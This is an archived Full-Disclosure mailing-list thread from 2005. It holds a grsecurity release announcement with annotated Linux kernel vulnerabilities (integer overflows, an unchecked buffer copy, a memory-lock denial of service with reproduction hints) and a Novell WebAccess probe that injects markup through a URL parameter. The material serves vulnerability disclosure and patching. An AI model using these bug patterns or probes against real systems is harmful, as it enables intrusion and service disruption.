Internet security information. It is staffed entirely by volunteers throughout the world and mirrored in many locations. Web site at http://www.packetstormsecurity.org. About Asylum Networks Asylum Networks provides Internet colocation services to customers with extremely demanding security requirements. The company operates in five countries (Switzerland, Luxembourg, Cayman Islands, Denmark, and the United States) each chosen to address either financial privacy concerns or provide excellent connectivity. Asylum Networks' portfolio includes international banks, financial institutions, and security-conscious corporations. Please visit them at http://www.asylum-networks.net. From danbuk at gmail.com Fri Jan 7 19:40:55 2005 From: danbuk at gmail.com (DanBUK) Date: Fri, 07 Jan 2005 19:40:55 +0000 Subject: [Full-Disclosure] Novell WebAcces In-Reply-To: <1105090924024691@lycos-europe.com> Message-ID: Hi, > It seems that this is working on almost every webacces server Just did a quick google and tried that on a couple of sites but no link appeared. Does this require authentication?? Cheers, DanB UK. DanB UK London, UK. From spender at grsecurity.net Fri Jan 7 17:20:49 2005 From: spender at grsecurity.net (Brad Spengler) Date: Fri, 7 Jan 2005 12:20:49 -0500 Subject: [Full-Disclosure] [grsec] grsecurity 2.1.0 release / 5 Linux kernel advisories Message-ID: <20050107172049.GA17849@grsecurity.net> grsecurity 2.1.0 release / Linux Kernel advisories -------------------------------------------------------------------- Table Of Contents: 1) grsecurity 2.1.0 announcement and changelog 2) Linux Kernel advisory introduction 3) 2.4/2.6 random poolsize sysctl handler integer overflow 4) 2.6 scsi ioctl integer overflow and information leak 5) 2.2/2.4/2.6 moxa serial driver bss overflow 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS 7) Attachments, including patches for all vulns, a POC for #3, and a working exploit for #6 1) grsecurity 2.1.0 announcement and changelog I'm happy to announce the release of grsecurity 2.1.0. It is being released initially for the 2.4.28 and 2.6.10 kernels and will be ported immediately to the next kernel versions when released. It can be downloaded at http://www.grsecurity.net. We are still actively seeking sponsorship, so if you benefit from using grsecurity and like the changes you see in 2.1.0, please consider sponsoring the future development and maintenance of the project. Changes in this release include: * New configuration file for full learning: /etc/grsec/learn_config * Learning heuristics have been optimized to better detect temporary file usage and reduce appropriately. * Learning heuristics have been modified to weight against reducing certain additional important directories. * User/group ID transitions have been added to the learning system. Any subject transitioning to less than 3 different users or 3 different groups that has CAP_SETUID or CAP_SETGID will have ID transitions added. This is useful to automatically secure applications that only transition to one or few users/groups like nobody/nogroup. * /proc//* accesses are automatically rewritten as /proc by grlearn before being cached and written to disk * The inherit-based learning usable through the learning configuration file is usable through a regular policy as well simply by adding "i" instead of "l" to a subject for learning. * Inheritance is preserved whenever possible across uid/gid changes when the role resulting from the uid/gid change is no different from that before the change. * A complete ~95-99% efficient LFU-hash hybrid caching system has been added that greatly reduces the number of full object lookups by caching the result. The cache essentially mimics the filesystem around where applications are operating: nearly equivalent to having an object for every file and directory on the system, but without the wasted memory. The cache is invalidated on creates and deletes that cause a change in policy (through policy re-creation) and on renames of directories or symlinks. * Memory usage for non-full learning has been significantly reduced and all memory leaks have been plugged. * A new object mode has been added for hardlinks for more fine-grained permissions. See the sample policy file for information on what permissions are required to create a hardlink. Its corresponding audit flag has been added as well. * Destruction of unused shared memory feature added and included in the sysctl framework of grsecurity. This feature was ported from Openwall (http://www.openwall.com/linux). * A new option was added to the sysctl feature that enables at boot all features enabled in the kernel configuration, while allowing them to be changed via the sysctl interface until grsec_lock is set. * Policy statistics have been added to gradm that provide useful, security-relevant information on the policy you are loading into the kernel. You can view these statistics when enabling the system by running gradm -V -E. * Interactive performance of full-learning has improved by ~15% by reducing the number of context switches caused by grlearn doing small disk writes by using a write buffer (writing more once instead of less 1000 times) and keeping track of log entry lengths for quicker string matching. A signal handler was added to grlearn so that when learning is stopped, the write buffer is flushed to disk. * Kernel headers are no longer used for gradm * Updates from the PaX project (http://pax.grsecurity.net) * Bugfixes for things mentioned on the list, etc When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they contain several vulnerabilities, make sure to also apply the secfix patches located on the website. 2) Linux Kernel advisory introduction Let me begin by giving you a timeline: December 15th: I send Linus a mail with a subject line of "RLIMIT_MEMLOCK bypass with locked stack" December 27th: The PaX team sends Linus a mail with a subject line of "2.6.9+ mlockall/expand_down DoS by unprivileged users" January 2nd: The PaX team resends the previous mail to Linux and Andrew Morton Between December 15th and today, Linus has committed many changes to the kernel. Between January 2nd and today, Andrew Morton has committed several changes to the kernel. 3 weeks is a sufficient amount of time to be able to expect even a reply about a given vulnerability. A patch for the vulnerability was attached to the mails, and in the PaX team's mails, a working exploit as well. Private notification of vulnerabilities is a privilege, and when that privilege is abused by not responding promptly, it deserves to be revoked. Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* | grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter of 15 minutes. More vulnerabilities were found in 2.6 than in 2.4. It's a pretty sad state of affairs for Linux security when someone can find 4 exploitable vulnerabilities in a matter of minutes. Since there was no point in sending more vulnerability reports when the first hadn't even been responded to, I'm including all four of them in this mail, as well as a POC for the poolsize bug. The other bugs can have POCs written for just as trivially. The poolsize bug requires uid 0, but not any root capabilities. The scsi and serial bugs depend on the permissions of their respective devices, and thus can possibly be exploited as non-root. The scsi bug in particular has a couple different attack vectors that I haven't even bothered to investigate. Some of these bugs have gone unfixed for several years. The PaX team discovered the mlockall DoS. It has been fixed in PaX for 2 years. I have attached their mail and exploit code. I'd really like to know what's being done about this pitiful trend of Linux security, where it's 10x as easy to find a vulnerability in the kernel than it is in any app on the system, where isec releases at least one critical vulnerability for each kernel version. I don't see that the 2.6 development model is doing anything to help this (as the spectrum of these vulnerabilities demonstrate), by throwing experimental code into the kernel and claiming it to be "stable". Hopefully now these vulnerabilities will be fixed in a timely manner. 3) 2.4/2.6 random poolsize sysctl handler integer overflow In drivers/char/random.c: at poolsize_strategy(): > int len; ^ signed integer > > sysctl_poolsize = random_state->poolinfo.POOLBYTES; > > /* > > /* > * We only handle the write case, since the read case gets > * handled by the default handler (and we don't care if the > * write case happens twice; it's harmless). > */ > if (newval && newlen) { > len = newlen; ^ unsigned int converted to signed > if (len > table->maxlen) ^ comparison of two signed integers > len = table->maxlen; > if (copy_from_user(table->data, newval, len)) ^ copy_from_user with len possibly > table->maxlen 4) 2.6 scsi ioctl integer overflow and information leak In drivers/block/scsi_ioctl.c: at sg_scsi_ioctl(): > struct request *rq; > int err, in_len, out_len, bytes, opcode, cmdlen; ^ in_len, out_len are signed int > char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE]; > > /* > * get in an out lengths, verify they don't exceed a page worth of data > */ > if (get_user(in_len, &sic->inlen)) ^ in_len is user-controlled > return -EFAULT; > if (get_user(out_len, &sic->outlen)) ^ out_len is user-controlled > return -EFAULT; > if (in_len > PAGE_SIZE || out_len > PAGE_SIZE) ^ signed int only has upper bound checked > return -EINVAL; > if (get_user(opcode, sic->data)) > return -EFAULT; > bytes = max(in_len, out_len); ... > rq->cmd_len = cmdlen; > if (copy_from_user(rq->cmd, sic->data, cmdlen)) > goto error; > > if (copy_from_user(buffer, sic->data + cmdlen, in_len)) ^ copy_from_user with size possibly > PAGE_SIZE > goto error; ... > if (copy_to_user(sic->data, buffer, out_len)) ^ copy_to_user with size possibly > PAGE_SIZE > err = -EFAULT; 5) 2.2/2.4/2.6 moxa serial driver bss overflow In drivers/char/moxa.c: >static unsigned char moxaBuff[10240]; In MoxaDriverIoctl(): > if(copy_from_user(&dltmp, argp, sizeof(struct dl_str))) > return -EFAULT; ^ dltmp.len is user-controlled > if(dltmp.cardno < 0 || dltmp.cardno >= MAX_BOARDS) > return -EINVAL; > > switch(cmd) > { > case MOXA_LOAD_BIOS: > i = moxaloadbios(dltmp.cardno, dltmp.buf, dltmp.len); ^ called with no length checking > return (i); > case MOXA_FIND_BOARD: > return moxafindcard(dltmp.cardno); > case MOXA_LOAD_C320B: > moxaload320b(dltmp.cardno, dltmp.buf, dltmp.len); ^ called with no length checking > default: /* to keep gcc happy */ > return (0); > case MOXA_LOAD_CODE: > i = moxaloadcode(dltmp.cardno, dltmp.buf, dltmp.len); ^ called with no length checking In moxaloadbios(): >static int moxaloadbios(int cardno, unsigned char __user *tmp, int len) >{ > void __iomem *baseAddr; > int i; > > if(copy_from_user(moxaBuff, tmp, len)) ^ copy_from_user with no length checking > return -EFAULT; In moxaloadcode(): > static int moxaloadcode(int cardno, unsigned char __user *tmp, int len) > { > void __iomem *baseAddr, *ofsAddr; > int retval, port, i; > > if(copy_from_user(moxaBuff, tmp, len)) ^ copy_from_user with no length checking > return -EFAULT; In moxaload320b(): >static int moxaload320b(int cardno, unsigned char __user *tmp, int len) >{ > void __iomem *baseAddr; > int i; > > if(len > sizeof(moxaBuff)) ^ signed int has only upper-bound checked > return -EINVAL; > if(copy_from_user(moxaBuff, tmp, len)) ^ copy_from_user with len possibly > sizeof(moxaBuff) > return -EFAULT; 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS Taken from the mail from the PaX team to Linus and Andrew Morton: the 'culprit' patch is how the default RLIM_MEMLOCK and the privilege to call mlockall have changed in 2.6.9. namely, the former has been reduced to 32 pages while the latter has been relaxed to allow it for otherwise unprivileged users if their RLIM_MEMLOCK is bigger than the currently allocated vm. which is normally good enough, except as you now know there's a path that can increase the allocated vm without checking for RLIM_MEMLOCK. i'm attaching a small i386-specific demonstration, use the makefile to create the small self-contained executable, e.g., 'make alloc=0x100000' to have it allocate 1MB of stack and lock all of it. for demonstrating the full effect of locking down arbitrary amounts of memory, you'll have to set your stack rlimit to infinity (ulimit -s unlimited) and allocate as much memory as your memory overcommit policy allows (this may mean that you'll have to run multiple instances, if you have lots of memory). surprisingly, in my tests the kernel survived pretty well, it just crawled to a snail's speed as every mapped page access required disk i/o ;-). i didn't play with overcommit policies nor any special workloads, so there may very well be worse effects with that much locked memory. in any case, this may warrant 2.6.10.1 because as soon as the fix goes into -bk, anyone reading the logs can easily figure it out and reproduce the 'exploit'. the attached patch is the excerpt from PaX that survives the exploit, so i think it's good to go. -------------- next part -------------- A non-text attachment was scrubbed... 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It is being released initially for the 2.4.28 and 2.6.10 kernels and will be ported immediately to the next kernel versions when released. It can be downloaded at http://www.grsecurity.net. We are still actively seeking sponsorship, so if you benefit from using grsecurity and like the changes you see in 2.1.0, please consider sponsoring the future development and maintenance of the project. Changes in this release include: * New configuration file for full learning: /etc/grsec/learn_config * Learning heuristics have been optimized to better detect temporary file usage and reduce appropriately. * Learning heuristics have been modified to weight against reducing certain additional important directories. * User/group ID transitions have been added to the learning system. Any subject transitioning to less than 3 different users or 3 different groups that has CAP_SETUID or CAP_SETGID will have ID transitions added. This is useful to automatically secure applications that only transition to one or few users/groups like nobody/nogroup. * /proc//* accesses are automatically rewritten as /proc by grlearn before being cached and written to disk * The inherit-based learning usable through the learning configuration file is usable through a regular policy as well simply by adding "i" instead of "l" to a subject for learning. * Inheritance is preserved whenever possible across uid/gid changes when the role resulting from the uid/gid change is no different from that before the change. * A complete ~95-99% efficient LFU-hash hybrid caching system has been added that greatly reduces the number of full object lookups by caching the result. The cache essentially mimics the filesystem around where applications are operating: nearly equivalent to having an object for every file and directory on the system, but without the wasted memory. The cache is invalidated on creates and deletes that cause a change in policy (through policy re-creation) and on renames of directories or symlinks. * Memory usage for non-full learning has been significantly reduced and all memory leaks have been plugged. * A new object mode has been added for hardlinks for more fine-grained permissions. See the sample policy file for information on what permissions are required to create a hardlink. Its corresponding audit flag has been added as well. * Destruction of unused shared memory feature added and included in the sysctl framework of grsecurity. This feature was ported from Openwall (http://www.openwall.com/linux). * A new option was added to the sysctl feature that enables at boot all features enabled in the kernel configuration, while allowing them to be changed via the sysctl interface until grsec_lock is set. * Policy statistics have been added to gradm that provide useful, security-relevant information on the policy you are loading into the kernel. You can view these statistics when enabling the system by running gradm -V -E. * Interactive performance of full-learning has improved by ~15% by reducing the number of context switches caused by grlearn doing small disk writes by using a write buffer (writing more once instead of less 1000 times) and keeping track of log entry lengths for quicker string matching. A signal handler was added to grlearn so that when learning is stopped, the write buffer is flushed to disk. * Kernel headers are no longer used for gradm * Updates from the PaX project (http://pax.grsecurity.net) * Bugfixes for things mentioned on the list, etc When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they contain several vulnerabilities, make sure to also apply the secfix patches located on the website. 2) Linux Kernel advisory introduction Let me begin by giving you a timeline: December 15th: I send Linus a mail with a subject line of "RLIMIT_MEMLOCK bypass with locked stack" December 27th: The PaX team sends Linus a mail with a subject line of "2.6.9+ mlockall/expand_down DoS by unprivileged users" January 2nd: The PaX team resends the previous mail to Linux and Andrew Morton Between December 15th and today, Linus has committed many changes to the kernel. Between January 2nd and today, Andrew Morton has committed several changes to the kernel. 3 weeks is a sufficient amount of time to be able to expect even a reply about a given vulnerability. A patch for the vulnerability was attached to the mails, and in the PaX team's mails, a working exploit as well. Private notification of vulnerabilities is a privilege, and when that privilege is abused by not responding promptly, it deserves to be revoked. Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* | grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter of 15 minutes. More vulnerabilities were found in 2.6 than in 2.4. It's a pretty sad state of affairs for Linux security when someone can find 4 exploitable vulnerabilities in a matter of minutes. Since there was no point in sending more vulnerability reports when the first hadn't even been responded to, I'm including all four of them in this mail, as well as a POC for the poolsize bug. The other bugs can have POCs written for just as trivially. The poolsize bug requires uid 0, but not any root capabilities. The scsi and serial bugs depend on the permissions of their respective devices, and thus can possibly be exploited as non-root. The scsi bug in particular has a couple different attack vectors that I haven't even bothered to investigate. Some of these bugs have gone unfixed for several years. The PaX team discovered the mlockall DoS. It has been fixed in PaX for 2 years. I have attached their mail and exploit code. I'd really like to know what's being done about this pitiful trend of Linux security, where it's 10x as easy to find a vulnerability in the kernel than it is in any app on the system, where isec releases at least one critical vulnerability for each kernel version. I don't see that the 2.6 development model is doing anything to help this (as the spectrum of these vulnerabilities demonstrate), by throwing experimental code into the kernel and claiming it to be "stable". Hopefully now these vulnerabilities will be fixed in a timely manner. 3) 2.4/2.6 random poolsize sysctl handler integer overflow In drivers/char/random.c: at poolsize_strategy(): > int len; ^ signed integer > > sysctl_poolsize = random_state->poolinfo.POOLBYTES; > > /* > > /* > * We only handle the write case, since the read case gets > * handled by the default handler (and we don't care if the > * write case happens twice; it's harmless). > */ > if (newval && newlen) { > len = newlen; ^ unsigned int converted to signed > if (len > table->maxlen) ^ comparison of two signed integers > len = table->maxlen; > if (copy_from_user(table->data, newval, len)) ^ copy_from_user with len possibly > table->maxlen 4) 2.6 scsi ioctl integer overflow and information leak In drivers/block/scsi_ioctl.c: at sg_scsi_ioctl(): > struct request *rq; > int err, in_len, out_len, bytes, opcode, cmdlen; ^ in_len, out_len are signed int > char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE]; > > /* > * get in an out lengths, verify they don't exceed a page worth of data > */ > if (get_user(in_len, &sic->inlen)) ^ in_len is user-controlled > return -EFAULT; > if (get_user(out_len, &sic->outlen)) ^ out_len is user-controlled > return -EFAULT; > if (in_len > PAGE_SIZE || out_len > PAGE_SIZE) ^ signed int only has upper bound checked > return -EINVAL; > if (get_user(opcode, sic->data)) > return -EFAULT; > bytes = max(in_len, out_len); ... > rq->cmd_len = cmdlen; > if (copy_from_user(rq->cmd, sic->data, cmdlen)) > goto error; > > if (copy_from_user(buffer, sic->data + cmdlen, in_len)) ^ copy_from_user with size possibly > PAGE_SIZE > goto error; ... > if (copy_to_user(sic->data, buffer, out_len)) ^ copy_to_user with size possibly > PAGE_SIZE > err = -EFAULT; 5) 2.2/2.4/2.6 moxa serial driver bss overflow In drivers/char/moxa.c: >static unsigned char moxaBuff[10240]; In MoxaDriverIoctl(): > if(copy_from_user(&dltmp, argp, sizeof(struct dl_str))) > return -EFAULT; ^ dltmp.len is user-controlled > if(dltmp.cardno < 0 || dltmp.cardno >= MAX_BOARDS) > return -EINVAL; > > switch(cmd) > { > case MOXA_LOAD_BIOS: > i = moxaloadbios(dltmp.cardno, dltmp.buf, dltmp.len); ^ called with no length checking > return (i); > case MOXA_FIND_BOARD: > return moxafindcard(dltmp.cardno); > case MOXA_LOAD_C320B: > moxaload320b(dltmp.cardno, dltmp.buf, dltmp.len); ^ called with no length checking > default: /* to keep gcc happy */ > return (0); > case MOXA_LOAD_CODE: > i = moxaloadcode(dltmp.cardno, dltmp.buf, dltmp.len); ^ called with no length checking In moxaloadbios(): >static int moxaloadbios(int cardno, unsigned char __user *tmp, int len) >{ > void __iomem *baseAddr; > int i; > > if(copy_from_user(moxaBuff, tmp, len)) ^ copy_from_user with no length checking > return -EFAULT; In moxaloadcode(): > static int moxaloadcode(int cardno, unsigned char __user *tmp, int len) > { > void __iomem *baseAddr, *ofsAddr; > int retval, port, i; > > if(copy_from_user(moxaBuff, tmp, len)) ^ copy_from_user with no length checking > return -EFAULT; In moxaload320b(): >static int moxaload320b(int cardno, unsigned char __user *tmp, int len) >{ > void __iomem *baseAddr; > int i; > > if(len > sizeof(moxaBuff)) ^ signed int has only upper-bound checked > return -EINVAL; > if(copy_from_user(moxaBuff, tmp, len)) ^ copy_from_user with len possibly > sizeof(moxaBuff) > return -EFAULT; 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS Taken from the mail from the PaX team to Linus and Andrew Morton: the 'culprit' patch is how the default RLIM_MEMLOCK and the privilege to call mlockall have changed in 2.6.9. namely, the former has been reduced to 32 pages while the latter has been relaxed to allow it for otherwise unprivileged users if their RLIM_MEMLOCK is bigger than the currently allocated vm. which is normally good enough, except as you now know there's a path that can increase the allocated vm without checking for RLIM_MEMLOCK. i'm attaching a small i386-specific demonstration, use the makefile to create the small self-contained executable, e.g., 'make alloc=0x100000' to have it allocate 1MB of stack and lock all of it. for demonstrating the full effect of locking down arbitrary amounts of memory, you'll have to set your stack rlimit to infinity (ulimit -s unlimited) and allocate as much memory as your memory overcommit policy allows (this may mean that you'll have to run multiple instances, if you have lots of memory). surprisingly, in my tests the kernel survived pretty well, it just crawled to a snail's speed as every mapped page access required disk i/o ;-). i didn't play with overcommit policies nor any special workloads, so there may very well be worse effects with that much locked memory. in any case, this may warrant 2.6.10.1 because as soon as the fix goes into -bk, anyone reading the logs can easily figure it out and reproduce the 'exploit'. the attached patch is the excerpt from PaX that survives the exploit, so i think it's good to go. 7) Attachments expoits_and_patches.tgz can be downloaded at: http://grsecurity.net/~spender/exploits_and_patches.tgz -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/95ad4b88/attachment.bin From michael.horseman at capgemini.com Fri Jan 7 18:24:21 2005 From: michael.horseman at capgemini.com (Horseman, Michael W.) Date: Fri, 7 Jan 2005 13:24:21 -0500 Subject: [Full-Disclosure] Novell WebAcces Message-ID: <3543A133C09BAA4B80AA16D2FDEF9F7399BC2A@caonmastxm06.na.capgemini.com> I think maybe you're seeing the directory traversal vulnerability identified in Groupwise. Groupwise 6 had this vulnerability as well as previous versions if I remember right. http://xforce.iss.net/xforce/xfdb/7287 Thanks, Michael Horseman IT Security Analyst Capgemini michael.horseman at capgemini.com w: 816.414.4925 "Any sufficiently advanced technology is indistinguishable from magic." - Arthur C. Clarke ________________________________ From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of noAcces Sent: Friday, January 07, 2005 3:42 AM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Novell WebAcces I was playing around when I found a small problem with Novell's WebAcces. With User.lang you can give in you're language as parameter I tried some different stuff there and when I tried "> so that the URL would be hxxp://www.notsohappyserver.com/servlet/webacc?User.Lang="> a Link apeared I clicked it and so I found some unprotected dirs. The problem is that the file hxxps://www.notsohappyserver/com/novell/webaccess/WebAccessUninstall.ini contains info about the servername context and install paths It seems that this is working on almost every webacces server. Kerst actie bij Lycos Mail: 50% korting op Lycos Xtra en Max! This message contains information that may be privileged or confidential and is the property of the Capgemini Group. It is intended only for the person to whom it is addressed. If you are not the intended recipient, you are not authorized to read, print, retain, copy, disseminate, distribute, or use this message or any part thereof. If you receive this message in error, please notify the sender immediately and delete all copies of this message. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050107/58aa843c/attachment.html From krmaxwell at gmail.com Fri Jan 7 18:52:58 2005 From: krmaxwell at gmail.com (Kyle Maxwell) Date: Fri, 7 Jan 2005 12:52:58 -0600 Subject: [Full-Disclosure] Microsoft AntiSpyware - First Impressions In-Reply-To: References: Message-ID: <4f0e191c05010710521ebd599@mail.gmail.com> On Fri, 7 Jan 2005 17:57:55 +0800, irfan.syed at guoco.com wrote: > > Yeah I tried it too, and the only thing it found on my PC was VNC server. I > was, however, impressed that the tool explained very well what the program > was for and how it could be used for spying. It picked up WinPCap libraries on my system (from the Ethereal install), nothing else. I wouldn't have much else on there for it to pick up, as I only use IE for some internal corporate apps that require it. But the install was nice and seemed to be very user-friendly for the non-techie types out there. It may not be perfect (I thought the Spyware Community was essentially sending back to a central site, didn't realize it was P2P, this requires a closer look) but at a minimum it's nice to see MS giving this some attention. Fix the IE holes and security model and maybe we'd go even further... But that's a flame war for another day. -- Kyle Maxwell [krmaxwell at gmail.com] From davek_throwaway at hotmail.com Fri Jan 7 18:42:17 2005 From: davek_throwaway at hotmail.com (Dave Korn) Date: Fri, 7 Jan 2005 18:42:17 -0000 Subject: [Full-Disclosure] Re: ndisasm bad opcodes interpretation References: Message-ID: "shadown" wrote in message news:d8360fbf0501070830475ef080 at mail.gmail.com... > > i.e: > 0000001C 7565 jnz 0x83 > sould had been jnz 0x65 No it shouldn't. Engage brain before opening mouth: what is 0x65 + 0x1e (== address of byte immediately after the instruction in question)? Google "pc-relative branch displacement" for more. Or learn some assembler programming before trying to use a disassembler. cheers, DaveK -- Can't think of a witty .sigline today.... From gahmad at securityfocus.com Fri Jan 7 20:10:29 2005 From: gahmad at securityfocus.com (Greg Ahmad) Date: Fri, 7 Jan 2005 13:10:29 -0700 (MST) Subject: [Full-Disclosure] Re: grsecurity 2.1.0 release / 5 Linux kernel advisories In-Reply-To: <20050107181853.GA12617@grsecurity.net> References: <20050107181853.GA12617@grsecurity.net> Message-ID: looks good. On Fri, 7 Jan 2005, Brad Spengler wrote: > Let's try this again, since web archives don't like multipart > attachments. > > grsecurity 2.1.0 release / Linux Kernel advisories > -------------------------------------------------------------------- > > Table Of Contents: > 1) grsecurity 2.1.0 announcement and changelog > 2) Linux Kernel advisory introduction > 3) 2.4/2.6 random poolsize sysctl handler integer overflow > 4) 2.6 scsi ioctl integer overflow and information leak > 5) 2.2/2.4/2.6 moxa serial driver bss overflow > 6) 2.4/2.6 RLIMIT_MEMLOCK bypass and (2.6) unprivileged user DoS > 7) Attachments, including patches for all vulns, a POC for #3, and a > working exploit for #6 > > 1) grsecurity 2.1.0 announcement and changelog > > I'm happy to announce the release of grsecurity 2.1.0. It is being > released initially for the 2.4.28 and 2.6.10 kernels and will be ported > immediately to the next kernel versions when released. It can be > downloaded at http://www.grsecurity.net. We are still actively seeking > sponsorship, so if you benefit from using grsecurity and like the > changes you see in 2.1.0, please consider sponsoring the future > development and maintenance of the project. > Changes in this release include: > > * New configuration file for full learning: /etc/grsec/learn_config > * Learning heuristics have been optimized to better detect temporary > file usage and reduce appropriately. > * Learning heuristics have been modified to weight against reducing > certain additional important directories. > * User/group ID transitions have been added to the learning system. > Any subject transitioning to less than 3 different users or 3 > different groups that has CAP_SETUID or CAP_SETGID will have ID > transitions added. This is useful to automatically secure > applications that only transition to one or few users/groups like > nobody/nogroup. > * /proc//* accesses are automatically rewritten as /proc by grlearn > before being cached and written to disk > * The inherit-based learning usable through the learning configuration > file is usable through a regular policy as well simply by adding "i" > instead of "l" to a subject for learning. > * Inheritance is preserved whenever possible across uid/gid changes when > the role resulting from the uid/gid change is no different from that > before the change. > * A complete ~95-99% efficient LFU-hash hybrid caching system has been > added that greatly reduces the number of full object lookups by > caching the result. The cache essentially mimics the filesystem > around where applications are operating: nearly equivalent to having > an object for every file and directory on the system, but without the > wasted memory. The cache is invalidated on creates and deletes that > cause a change in policy (through policy re-creation) and on renames > of directories or symlinks. > * Memory usage for non-full learning has been significantly reduced and > all memory leaks have been plugged. > * A new object mode has been added for hardlinks for more fine-grained > permissions. See the sample policy file for information on what > permissions are required to create a hardlink. Its corresponding > audit flag has been added as well. > * Destruction of unused shared memory feature added and included in > the sysctl framework of grsecurity. This feature was ported from > Openwall (http://www.openwall.com/linux). > * A new option was added to the sysctl feature that enables at boot all > features enabled in the kernel configuration, while allowing them to > be changed via the sysctl interface until grsec_lock is set. > * Policy statistics have been added to gradm that provide useful, > security-relevant information on the policy you are loading into the > kernel. You can view these statistics when enabling the system by > running gradm -V -E. > * Interactive performance of full-learning has improved by ~15% by > reducing the number of context switches caused by grlearn doing small > disk writes by using a write buffer (writing more once instead of > less 1000 times) and keeping track of log entry lengths for quicker > string matching. A signal handler was added to grlearn so that when > learning is stopped, the write buffer is flushed to disk. > * Kernel headers are no longer used for gradm > * Updates from the PaX project (http://pax.grsecurity.net) > * Bugfixes for things mentioned on the list, etc > > When patching your kernel for the 2.4.28 and 2.6.10 kernels, since they > contain several vulnerabilities, make sure to also apply the secfix > patches located on the website. > > 2) Linux Kernel advisory introduction > > Let me begin by giving you a timeline: > > December 15th: I send Linus a mail with a subject line of > "RLIMIT_MEMLOCK bypass with locked stack" > December 27th: The PaX team sends Linus a mail with a subject line of > "2.6.9+ mlockall/expand_down DoS by unprivileged users" > January 2nd: The PaX team resends the previous mail to Linux and Andrew > Morton > > Between December 15th and today, Linus has committed many changes to > the kernel. Between January 2nd and today, Andrew Morton has committed > several changes to the kernel. 3 weeks is a sufficient amount of time > to be able to expect even a reply about a given vulnerability. A patch > for the vulnerability was attached to the mails, and in the PaX team's > mails, a working exploit as well. Private notification of > vulnerabilities is a privilege, and when that privilege is abused by not > responding promptly, it deserves to be revoked. > > Using 'advanced static analysis': "cd drivers; grep copy_from_user -r ./* | > grep -v sizeof", I discovered 4 exploitable vulnerabilities in a matter > of 15 minutes. More vulnerabilities were found in 2.6 than in 2.4. > It's a pretty sad state of affairs for Linux security when someone can > find 4 exploitable vulnerabilities in a matter of minutes. Since there > was no point in sending more vulnerability reports when the first hadn't > even been responded to, I'm including all four of them in this mail, as > well as a POC for the poolsize bug. The other bugs can have POCs > written > for just as trivially. The poolsize bug requires uid 0, but not any > root capabilities. The scsi and serial bugs depend on the permissions > of their respective devices, and thus can possibly be exploited as > non-root. The scsi bug in particular has a couple different attack > vectors that I haven't even bothered to investigate. Some of these bugs > have gone unfixed for several years. > > The PaX team discovered the mlockall DoS. It has been fixed in PaX for > 2 years. I have attached their mail and exploit code. > > I'd really like to know what's being done about this pitiful trend of > Linux security, where it's 10x as easy to find a vulnerability in the > kernel than it is in any app on the system, where isec releases at > least one critical vulnerability for each kernel version. I don't see > that the 2.6 development model is doing anything to help this (as the > spectrum of these vulnerabilities demonstrate), by throwing > experimental code into the kernel and claiming it to be "stable". > Hopefully now these vulnerabilities will be fixed in a timely manner. > > 3) 2.4/2.6 random poolsize sysctl handler integer overflow > > In drivers/char/random.c: > > at poolsize_strategy(): > > int len; > ^ signed integer > > > > sysctl_poolsize = random_state->poolinfo.POOLBYTES; > > > > /* > > > > /* > > * We only handle the write case, since the read case gets > > * handled by the default handler (and we don't care if the > > * write case happens twice; it's harmless). > > */ > > if (newval && newlen) { > > len = newlen; > ^ unsigned int converted to signed > > if (len > table->maxlen) > ^ comparison of two signed integers > > len = table->maxlen; > > if (copy_from_user(table->data, newval, len)) > ^ copy_from_user with len possibly > table->maxlen > > 4) 2.6 scsi ioctl integer overflow and information leak > > In drivers/block/scsi_ioctl.c: > > at sg_scsi_ioctl(): > > struct request *rq; > > int err, in_len, out_len, bytes, opcode, cmdlen; > ^ in_len, out_len are signed int > > char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE]; > > > > /* > > * get in an out lengths, verify they don't exceed a page worth of data > > */ > > if (get_user(in_len, &sic->inlen)) > ^ in_len is user-controlled > > return -EFAULT; > > if (get_user(out_len, &sic->outlen)) > ^ out_len is user-controlled > > return -EFAULT; > > if (in_len > PAGE_SIZE || out_len > PAGE_SIZE) > ^ signed int only has upper bound checked > > return -EINVAL; > > if (get_user(opcode, sic->data)) > > return -EFAULT; > > bytes = max(in_len, out_len); > ... > > rq->cmd_len = cmdlen; > > if (copy_from_user(rq->cmd, sic->data, cmdlen)) > > goto error; > > > > if (copy_from_user(buffer, sic->data + cmdlen, in_len)) > ^ copy_from_user with size possibly > PAGE_SIZE > > goto error; > ... > > if (copy_to_user(sic->data, buffer, out_len)) > ^ copy_to_user with size possibly > PAGE_SIZE > > err = -EFAULT; > > 5) 2.2/2.4/2.6 moxa serial driver bss overflow > > In drivers/char/moxa.c: > > >static unsigned char moxaBuff[10240]; > > In MoxaDriverIoctl(): > > > if(copy_from_user(&dltmp, argp, sizeof(struct dl_str))) > > return -EFAULT; > ^ dltmp.len is user-controlled > > if(dltmp.cardno < 0 || dltmp.cardno >= MAX_BOARDS) > > return -EINVAL; > > > > switch(cmd) > > { > > case MOXA_LOAD_BIOS: > > i = moxaloadbios(dltmp.cardno, dltmp.buf, dltmp.len); > ^ called with no length checking > > return (i); > > case MOXA_FIND_BOARD: > > return moxafindcard(dltmp.cardno); > > case MOXA_LOAD_C320B: > > moxaload320b(dltmp.cardno, dltmp.buf, dltmp.len); > ^ called with no length checking > > default: /* to keep gcc happy */ > > return (0); > > case MOXA_LOAD_CODE: > > i = moxaloadcode(dltmp.cardno, dltmp.buf, dltmp.len); > ^ called with no length checking > > In moxaloadbios(): > > >static int moxaloadbios(int cardno, unsigned char __user 